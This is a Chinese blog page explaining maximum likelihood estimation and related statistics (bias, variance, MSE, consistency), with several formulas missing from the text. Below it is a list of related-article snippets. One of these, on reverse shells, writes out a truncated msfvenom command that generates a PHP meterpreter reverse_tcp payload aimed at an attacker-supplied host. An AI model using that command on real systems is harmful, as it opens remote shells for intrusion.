当前位置: 首页 > 编程日记 > 正文

深度学习中的最大似然估计简介

统计领域为我们提供了很多工具来实现机器学习目标,不仅可以解决训练集上的任务,还可以泛化。例如参数估计、偏差和方差,对于正式地刻画泛化、欠拟合和过拟合都非常有帮助。

点估计:点估计试图为一些感兴趣的量提供单个”最优”预测。一般地,感兴趣的量可以是单个参数,或是某些参数模型中的一个向量参数,但是也有可能是整个函数。点估计也可以指输入和目标变量之间关系的估计。我们将这种类型的点估计称为函数估计。

函数估计:有时我们会关注函数估计(或函数近似)。这时我们试图从输入向量x预测变量y。我们假设有一个函数f(x)表示y和x之间的近似关系。例如,我们可能假设y=f(x)+ε,其中ε是y中未能从x预测的一部分。在函数估计中,我们感兴趣的是用模型估计去近似f。

偏差:估计的偏差被定义为:


均值的标准差在机器学习实验中非常有用。我们通常用测试集样本的误差均值来估计泛化误差。测试集中样本的数量决定了这个估计的精确度。中心极限定理告诉我们均值会接近一个高斯分布,我们可以用标准差计算出真实期望落在选定区间的概率。

权衡偏差和方差以最小化均方误差:偏差和方差度量着估计量的两个不同误差来源。偏差度量着偏离真实函数或参数的误差期望。而方差度量着数据上任意特定采样可能导致的估计期望的偏差。

均方误差(mean squared error, MSE):


MSE度量着估计和真实参数θ之间平方误差的总体期望偏差。MSE估计包含了偏差和方差。偏差和方差的关系和机器学习容量、欠拟合和过拟合的概念紧密相联。用MSE度量泛化误差(偏差和方差对于泛化误差都是有意义的)时,增加容量会增加方差,降低偏差。

一致性:一致性保证了估计量的偏差会随数据样本数目的增多而减少。然而,反过来是不正确的。

考虑一组含有m个样本的数据集X={x(1),…,x(m)},独立地由未知的真实数据生成分布pdata(x)生成。令pmodel(x;θ)是一族由θ确定在相同空间上的概率分布。换言之,pmodel(x; θ)将任意输入x映射到实数来估计真实概率pdata(x)。

对θ的最大似然估计被定义为:


最大似然估计最吸引人的地方在于,它被证明当样本数目m→∞时,就收敛率而言是最好的渐进估计。

在合适的条件下,最大似然估计具有一致性,意味着训练样本数目趋向于无穷大时,参数的最大似然估计会收敛到参数的真实值。这些条件是:

(1)、真实分布pdata必须在模型族pmodel(•;θ)中。否则,没有估计可以还原pdata.

(2)、真实分布pdata必须刚好对应一个θ值。否则,最大似然估计恢复出真实分布pdata后,也不能决定数据生成过程使用哪个θ。

在统计学中,最大似然估计(Maximum likelihood estimation, MLE),也称为最大概似估计,是用来估计一个概率模型(概率模型是用来描述不同随机变量之间关系的数学模型,通常情况下刻画了一个或多个随机变量之间的相互非确定性的概率关系)的参数的一种方法。

最大似然估计的原理:给定一个概率分布D,已知其概率密度函数(连续分布)或概率质量函数(离散分布)为fD,以及一个分布参数θ,我们可以从这个分布中抽出一个具有n个值的采样X1,X2,…,Xn,利用fD计算出概率:P(x1,x2,…,xn)=fD(x1,…,xn|θ)。

但是,我们可能不知道θ的值,尽管我们知道这些采样数据来自于分布D。那么我们如何才能估计出θ呢?一个自然的想法是从这个分布中抽出一个具有n个值的采样X1,X2,…,Xn,然后用这些采样数据来估计θ。

一旦我们获得X1,X2,…,Xn,我们就能求得一个关于θ的估计。最大似然估计会寻找关于θ的最可能的值(即,在所有可能的θ取值中,寻找一个值使这个采样的”可能性”最大化)。

要在数学上实现最大似然估计法,我们首先要定义似然函数:lik(θ)= fD(x1,…,xn|θ),并且在θ的所有取值上通过令一阶导数等于零,使这个函数取得最大值。这个使可能性最大的θ’值即称为θ的最大似然估计。

注意:这里的似然函数是指x 1,…,x n不变时,关于θ的一个函数;最大似然估计函数不一定是惟一的,甚至不一定存在。

以上内容主要摘自: 《深度学习中文版》 和  维基百科


GitHub:https://github.com/fengbingchun/NN_Test

相关文章:

简单粗暴上手TensorFlow 2.0,北大学霸力作,必须人手一册!

(图片付费下载自视觉中国) 整理 | 夕颜 出品 | AI科技大本营(ID:rgznai100) 【导读】 TensorFlow 2.0 于近期正式发布后,立即受到学术界与科研界的广泛关注与好评。此前,AI 科技大本营曾特邀专家回顾了 Te…

常见运维漏洞-Rsync-Redis

转载于:https://blog.51cto.com/10945453/2394651

zabbix笔记

(1)转载于:https://blog.51cto.com/zlong37/1406441

C++/C++11中头文件algorithm的使用

<algorithm>是C标准程序库中的一个头文件&#xff0c;定义了C STL标准中的基础性的算法(均为函数模板)。<algorithm>定义了设计用于元素范围的函数集合。任何对象序列的范围可以通过迭代器或指针访问。 std::adjacent_find&#xff1a;在序列中查找第一对相邻且值…

js filter 用法

filter filter函数可以看成是一个过滤函数&#xff0c;返回符合条件的元素的数组 filter需要在循环的时候判断一下是true还是false&#xff0c;是true才会返回这个元素&#xff1b; filter()接收的回调函数&#xff0c;其实可以有多个参数。通常我们仅使用第一个参数&#xff…

每30秒学会一个Python小技巧,GitHub星数4600+

&#xff08;图片付费下载自视觉中国&#xff09;作者 | xiaoyu&#xff0c;数据爱好者来源 | Python数据科学&#xff08;ID:PyDataScience&#xff09;很多学习Python的朋友在项目实战中会遇到不少功能实现上的问题&#xff0c;有些问题并不是很难的问题&#xff0c;或者已经…

Nginx自定义模块编写:根据post参数路由到不同服务器

Nginx可以轻松实现根据不同的url 或者 get参数来转发到不同的服务器&#xff0c;然而当我们需要根据http包体来进行请求路由时&#xff0c;Nginx默认的配置规则就捉襟见肘了&#xff0c;但是没关系&#xff0c;Nginx提供了强大的自定义模块功能&#xff0c;我们只要进行需要的扩…

深度学习中的贝叶斯统计简介

贝叶斯用概率反映知识状态的确定性程度。数据集能够被直接观测到&#xff0c;因此不是随机的。另一方面&#xff0c;真实参数θ是未知或不确定的&#xff0c;因此可以表示成随机变量。在观察到数据前&#xff0c;我们将θ的已知知识表示成先验概率分布(prior probability distr…

少走弯路:强烈推荐的TensorFlow快速入门资料(可下载)

&#xff08;图片付费下载自视觉中国&#xff09;作者 | 黄海广来源 | 机器学习初学者&#xff08;ID: ai-start-com&#xff09;知识更新非常快&#xff0c;需要一直学习才能跟上时代进步&#xff0c;举个例子&#xff1a;吴恩达老师在深度学习课上讲的TensorFlow使用&#xf…

有状态bean与无状态bean

在学习bean的作用域的时候&#xff0c;了解了这个问题。 bean5种作用域&#xff1a;分别是&#xff1a;singleton、prototype、request、session、gloabal session 接下来就讲一下有状态bean与无状态bean&#xff1a; 有状态会话bean &#xff1a;每个用户有自己特有的一个实例…

从Developer Removed From Sale 回到可下载状态的方法

2019独角兽企业重金招聘Python工程师标准>>> 如果你不小心点了”Remove“ 按钮&#xff0c;App的状态会变成"Developer Removed From Sale "&#xff0c;这时&#xff0c;即使更新应用也无法改变这个状态。想要让App恢复可下载状态&#xff0c;你需要尝试…

朴素贝叶斯分类器简介及C++实现(性别分类)

贝叶斯分类器是一种基于贝叶斯定理的简单概率分类器。在机器学习中&#xff0c;朴素贝叶斯分类器是一系列以假设特征之间强(朴素)独立下运用贝叶斯定理为基础的简单概率分类器。朴素贝叶斯是文本分类的一种热门(基准)方法&#xff0c;文本分类是以词频为特征判断文件所属类别或…

你当年没玩好的《愤怒的小鸟》,AI现在也犯难了

&#xff08;图片源自百度百科&#xff09;作者 | Ekaterina Nikonova&#xff0c;Jakub Gemrot译者 | Tianyu出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09;现在说起《愤怒的小鸟》游戏&#xff0c;要把人的回忆一下拉扯到差不多十年前了。它是一款当时一经推出就广…

msf反弹shell

今天回顾了一下msf反弹shell的操作&#xff0c;在这里做一下记录和分享。(&#xffe3;︶&#xffe3;)↗ 反弹shell的两种方法 第一种Msfvenom实例&#xff1a; 1、msfconsole    #启动msf 2、msfvenom -p php/meterpreter/reverse_tcp LHOST<Your IP Address> LPOR…

mysql 5.5半同步复制功能部署

安装、配置Semi-sync Replication在两台主机上安装好MySQL5.5&#xff0c;编译好的插件在目录CMAKE_INSTALL_PREFIX/lib/plugin下&#xff08;默认是/usr/local/mysql/lib/plugin&#xff09;。例如这里编译是指定CMAKE_INSTALL_PREFIX为/home/mysql/mysql&#xff0c;则有&…

Windows7/10上配置OpenCV3.3.0-Python3.6.2操作步骤

目前OpenCV无论是2.4.x还是最新的3.3.0版本&#xff0c;默认支持的都是Python 2.7版本。这里介绍下如何使OpenCV 3.3.0支持Python 3.6.2的操作步骤&#xff1a;1. 从 https://github.com/opencv/opencv/releases/tag/3.3.0 下载3.3.0.zip或opencv-3.3.0-vc14.exe&#xff0c;…

manage.py命令

一、manage.py命令选 manage.py是每个Django项目中自动生成的一个用于管理项目的脚本文件&#xff0c;需要通过python命令执行。manage.py接受的是Django提供的内置命令。 内置命令包含 checkdbshelldiffsettingsflushmakemigrationsmigraterunservershellstartappstartproject…

图灵奖得主Bengio再次警示:可解释因果关系是深度学习发展的当务之急

&#xff08;图片付费下载自视觉中国&#xff09;作者 | Will Knight译者 | Monanfei来源 | Wired出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09;深度学习擅长在大量数据中寻找模式&#xff0c;但无法解释它们之间的关系。图灵奖获得者 Yoshua Bengio 希望改变这一状…

解决jQuery不同版同时引用的冲突

今天研发的同事在开发一个新jQuery插件时&#xff0c;遇到一个揪心的问题。平台以前使用的 jQuery版本是1.2.6&#xff0c;偶&#xff0c;天啊&#xff01;这是古代的版本啊&#xff01; 由于很多功能基于老版本&#xff0c;不能删除啊&#xff0c;同志们都懂的&#xff01; 于…

TensorFlow中的计算图

作者 | stephenDC来源 | 大数据与人工智能&#xff08;ID:ai-big-data&#xff09;1 什么是计算图&#xff1f;一个机器学习任务的核心是模型的定义以及模型的参数求解方式&#xff0c;对这两者进行抽象之后&#xff0c;可以确定一个唯一的计算逻辑&#xff0c;将这个逻辑用图表…

java设计模式-适配器模式

模式导读: 每个人都有自己不同的需要&#xff0c;每个人都有自己能够接受的不同方式&#xff0c;就像是为满足现在快速度发展的社会&#xff0c;几乎人人离不开手机的时代&#xff0c;我们也许会碰到在外出行手机电量不足的情况&#xff0c;这个时候如果你在车站&#xff0c;你…

Ubuntu 14.04 64位上安装Valgrind 3.13.0 操作步骤

关于Valgrind的介绍和使用可以参考&#xff1a; http://blog.csdn.net/fengbingchun/article/details/50196189 在Ubuntu 14.04上可以通过以下命令直接安装Valgrind&#xff0c;直接通过命令安装的版本是3.10.1&#xff0c;如下图&#xff0c;有些较老&#xff0c;目前最新版本…

粗谈Android中的对齐

在谈这个之前先啰嗦几个概念。 基线&#xff1a;书写英语单词时为了规范书写会设有四条线&#xff0c;从上至下第三条就是基线。基线对齐主要是为了两个控件中显示的英文单词的基线对齐&#xff0c;如下所示&#xff1a; Start&#xff1a;在看API的时候经常会有Start对齐&…

OpenCV3.3中逻辑回归(Logistic Regression)使用举例

OpenCV3.3中给出了逻辑回归(logistic regression)的实现&#xff0c;即cv::ml::LogisticRegression类&#xff0c;类的声明在include/opencv2/ml.hpp文件中&#xff0c;实现在modules/ml/src/lr.cpp文件中,它既支持两分类&#xff0c;也支持多分类&#xff0c;其中&#xff1a;…

多数编程语言里的0.1+0.2≠0.3?

作者 | Parul Malhotra译者 | Raku出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09;我们从小就被教导说0.10.20.3&#xff0c;但是在奇妙的计算机编程世界里面&#xff0c;事情变得不一样了。我最近在用JavaScript编程&#xff0c;正在阅读数据类型的时候&#xff0c;…

iOSSharing #9 | 2019-05-19

目录 1. setNeedsLayout、layoutIfNeeded与layoutSubviews区别&#xff1f; 2. UIView与CALayer的区别&#xff1f; 3. loadView什么时候被调用&#xff1f;它有什么作用&#xff1f;默认实现是怎么样的&#xff1f; 4. UIViewController的完整生命周期&#xff1f; 5. UIView动…

分表处理(三)

一、概述分表是个目前算是比较炒的比较流行的概念&#xff0c;特别是在大负载的情况下&#xff0c;分表是一个良好分散数据库压力的好方法。首先要了解为什么要分表&#xff0c;分表的好处是什么。我们先来大概了解以下一个数据库执行SQL的过程&#xff1a;接收到SQL –> 放…

逻辑回归(Logistic Regression)简介及C++实现

逻辑回归(Logistic Regression)&#xff1a;该模型用于分类而非回归&#xff0c;可以使用logistic sigmoid函数( 可参考&#xff1a;http://blog.csdn.net/fengbingchun/article/details/73848734 )将线性函数的输出压缩进区间(0,1)&#xff1a; p(y1| x;θ)σ(θTx).逻辑回归是…

CVPR 2019论文阅读:Libra R-CNN如何解决不平衡对检测性能的影响?

作者 | 路一直都在出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09;Paper link&#xff1a;https://arxiv.org/pdf/1904.02701.pdfCode link&#xff1a;https://github.com/OceanPang/Libra_R-CNNAbstract在目标检测中&#xff0c;人们更关注的往往是模型结构&#x…

实现nginx上配置免费证书Let's Encrypt

Lets Encrypt 的免费证书有效期为三个月&#xff0c;不过可以免费续期&#xff0c;写一个脚本定期更新即可。 准备一台nginx 服务器 &#xff0c;将以下三个附件上传到你的nginx服务器。 1、下载脚本文件&#xff0c;wget https://raw.githubusercontent.com/xdtianyu/scripts/…